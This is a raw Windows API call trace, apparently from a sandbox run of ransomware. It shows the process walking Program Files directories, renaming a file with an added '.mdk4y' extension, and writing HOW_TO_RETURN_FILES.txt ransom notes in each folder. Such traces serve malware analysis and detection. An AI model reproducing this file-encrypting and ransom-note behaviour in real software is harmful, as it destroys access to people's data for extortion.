dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.050] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.050] AreFileApisANSI () returned 1 [0126.050] GetACP () returned 0x4e4 [0126.050] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="jsdebuggeride.dll.muid28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 21 [0126.050] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.051] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.051] AreFileApisANSI () returned 1 [0126.051] GetACP () returned 0x4e4 [0126.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll.mui", cchWideChar=22, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="JSProfilerCore.dll.mui28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 22 [0126.051] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.051] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.051] AreFileApisANSI () returned 1 [0126.051] GetACP () returned 0x4e4 [0126.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll.mui", cchWideChar=20, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="jsprofilerui.dll.muiui", lpUsedDefaultChar=0x37dfd8) returned 20 [0126.051] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.052] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0126.052] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0126.052] AreFileApisANSI () returned 1 [0126.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9898, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0126.053] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\internet explorer\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0126.053] GetFileType (hFile=0x128) returned 0x1 [0126.054] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.054] AreFileApisANSI () returned 1 [0126.054] GetACP () returned 0x4e4 [0126.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="hmmapi.dll", cchWideChar=10, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="hmmapi.dlltefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 10 [0126.054] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.054] AreFileApisANSI () returned 1 [0126.054] GetACP () returned 0x4e4 [0126.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ie8props.propdesc", cchWideChar=17, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="ie8props.propdescf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 17 [0126.054] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.056] AreFileApisANSI () returned 1 [0126.056] GetACP () returned 0x4e4 [0126.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="iecompat.dll", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="iecompat.dllpdesc", lpUsedDefaultChar=0x37e064) returned 12 [0126.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.056] AreFileApisANSI () returned 1 [0126.056] GetACP () returned 0x4e4 [0126.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="iedvtool.dll", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="iedvtool.dll", lpUsedDefaultChar=0x37e064) returned 12 [0126.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.056] AreFileApisANSI () returned 1 [0126.056] GetACP () returned 0x4e4 [0126.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ieinstal.exe", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="ieinstal.exe", lpUsedDefaultChar=0x37e064) returned 12 [0126.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.056] AreFileApisANSI () returned 1 [0126.056] GetACP () returned 0x4e4 [0126.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ielowutil.exe", cchWideChar=13, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="ielowutil.exedesc", lpUsedDefaultChar=0x37e064) returned 13 [0126.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.056] AreFileApisANSI () returned 1 [0126.056] GetACP () returned 0x4e4 [0126.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ieproxy.dll", cchWideChar=11, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="ieproxy.dllxe", lpUsedDefaultChar=0x37e064) returned 11 [0126.056] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.056] AreFileApisANSI () returned 1 [0126.056] GetACP () returned 0x4e4 [0126.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IEShims.dll", cchWideChar=11, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="IEShims.dll", lpUsedDefaultChar=0x37e064) returned 11 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="iexplore.exe", cchWideChar=12, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="iexplore.exee", lpUsedDefaultChar=0x37e064) returned 12 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jsdbgui.dll", cchWideChar=11, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="jsdbgui.dlle", lpUsedDefaultChar=0x37e064) returned 11 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll", cchWideChar=17, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="jsdebuggeride.dll", lpUsedDefaultChar=0x37e064) returned 17 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JSProfilerCore.dll", cchWideChar=18, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="JSProfilerCore.dll47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 18 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="jsprofilerui.dll", cchWideChar=16, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="jsprofilerui.dllll", lpUsedDefaultChar=0x37e064) returned 16 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdbg2.dll", cchWideChar=10, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="msdbg2.dllui.dll", lpUsedDefaultChar=0x37e064) returned 10 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="pdm.dlldll", lpUsedDefaultChar=0x37e064) returned 7 [0126.057] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGNUP", cchWideChar=6, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="SIGNUPl", lpUsedDefaultChar=0x37e064) returned 6 [0126.057] AreFileApisANSI () returned 1 [0126.057] GetACP () returned 0x4e4 [0126.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=42, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Internet Explorer\\SIGNUP\\") returned 42 [0126.058] AreFileApisANSI () returned 1 [0126.058] GetACP () returned 0x4e4 [0126.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dfd8) returned 1 [0126.058] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.058] AreFileApisANSI () returned 1 [0126.058] GetACP () returned 0x4e4 [0126.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dfd8) returned 2 [0126.058] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.058] AreFileApisANSI () returned 1 [0126.058] GetACP () returned 0x4e4 [0126.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="install.ins", lpUsedDefaultChar=0x37dfd8) returned 11 [0126.058] CreateFileA (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0126.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1820128900000) returned 1 [0126.059] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1cc, lpOverlapped=0x0) returned 1 [0126.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1820129000000) returned 1 [0126.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1820129000000) returned 1 [0126.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.mdk4y" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.mdk4y")) returned 1 [0126.060] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0126.060] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0126.060] AreFileApisANSI () returned 1 [0126.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9898, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0126.060] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\internet explorer\\signup\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0126.061] GetFileType (hFile=0x128) returned 0x1 [0126.061] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.062] AreFileApisANSI () returned 1 [0126.062] GetACP () returned 0x4e4 [0126.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqmapi.dll", cchWideChar=10, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="sqmapi.dll", lpUsedDefaultChar=0x37e064) returned 10 [0126.062] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 0 [0126.062] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0126.062] AreFileApisANSI () returned 1 [0126.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a4190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 59 [0126.062] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\internet explorer\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0126.062] GetFileType (hFile=0x124) returned 0x1 [0126.063] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0126.063] AreFileApisANSI () returned 1 [0126.063] GetACP () returned 0x4e4 [0126.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft Analysis Services", cchWideChar=27, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="Microsoft Analysis Servicesw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e0f0) returned 27 [0126.063] AreFileApisANSI () returned 1 [0126.063] GetACP () returned 0x4e4 [0126.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=45, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\") returned 45 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0126.064] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0126.064] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AS OLEDB", cchWideChar=8, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="AS OLEDBAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 8 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=54, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\j館i.") returned 54 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad94, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".tKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 1 [0126.064] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad94, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..KInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 2 [0126.064] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0126.064] AreFileApisANSI () returned 1 [0126.064] GetACP () returned 0x4e4 [0126.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x6aad94, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x37dfd8) returned 2 [0126.065] AreFileApisANSI () returned 1 [0126.065] GetACP () returned 0x4e4 [0126.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\i7") returned 57 [0126.080] AreFileApisANSI () returned 1 [0126.080] GetACP () returned 0x4e4 [0126.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".qlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 1 [0126.080] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.080] AreFileApisANSI () returned 1 [0126.080] GetACP () returned 0x4e4 [0126.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..lJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 2 [0126.080] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.080] AreFileApisANSI () returned 1 [0126.080] GetACP () returned 0x4e4 [0126.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cartridges", cchWideChar=10, lpMultiByteStr=0x6aaf44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Cartridges6KdT+xhw==", lpUsedDefaultChar=0x37df4c) returned 10 [0126.080] AreFileApisANSI () returned 1 [0126.080] GetACP () returned 0x4e4 [0126.080] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=68, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\:") returned 68 [0126.243] AreFileApisANSI () returned 1 [0126.243] GetACP () returned 0x4e4 [0126.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".rUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0126.243] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.243] AreFileApisANSI () returned 1 [0126.243] GetACP () returned 0x4e4 [0126.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..Uw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0126.244] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.244] AreFileApisANSI () returned 1 [0126.244] GetACP () returned 0x4e4 [0126.244] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="as80.xsl", cchWideChar=8, lpMultiByteStr=0x6b741c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="as80.xslRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 8 [0126.244] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program 